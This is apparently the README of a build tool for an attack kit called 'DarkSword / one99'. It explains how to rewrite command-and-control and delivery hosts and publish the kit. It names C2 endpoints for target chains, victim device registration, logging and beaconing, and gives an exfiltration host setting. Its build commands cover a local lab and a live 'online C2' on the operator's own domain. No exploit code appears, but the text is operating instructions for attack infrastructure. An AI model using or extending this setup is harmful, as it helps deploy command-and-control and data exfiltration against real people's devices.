32 lines
1.2 KiB
Markdown
32 lines
1.2 KiB
Markdown
# channel-builder-ds
|
||
|
||
DarkSword / one99 static builder. `source/` is the pristine tree (live hosts).
|
||
`tools/build.py` rewrites C2 / delivery origins and copies the result to
|
||
`public/next-chain`. Runtime splits two bases:
|
||
|
||
- `__LAB_DELIVERY_HOST__` — static assets; may include a path (`https://cdn.example.com/next-chain`)
|
||
- `__LAB_EXFIL__` — C2 / API (`/api/ds/chain-targets`, `/api/ds/device/register`, `/api/ds/log`, beacon/war)
|
||
|
||
If the page is served under `/next-chain/`, delivery host is inferred automatically.
|
||
Override in `source/config.js`:
|
||
|
||
```js
|
||
deliveryHost: "https://cdn.example.com/next-chain", // full base, or
|
||
deliveryPath: "/next-chain", // location.origin + path
|
||
exfil: { host: "api.example.com", http_port: 443, https_port: 443, tls: true },
|
||
```
|
||
|
||
```bash
|
||
# 本地实验室
|
||
php artisan ds:build --origin http://192.168.31.130:8000
|
||
|
||
# 线上 C2(必须带 --origin,否则会沿用 source/config.js 里的 192.168.31.130)
|
||
php artisan ds:build --origin https://你的域名
|
||
|
||
# 等价
|
||
cd channel-builder-ds
|
||
python3 tools/build.py --origin https://你的域名
|
||
```
|
||
|
||
看产物用 `public/next-chain/config.js`,不要看 `source/config.js`(模板,构建不会改它)。
|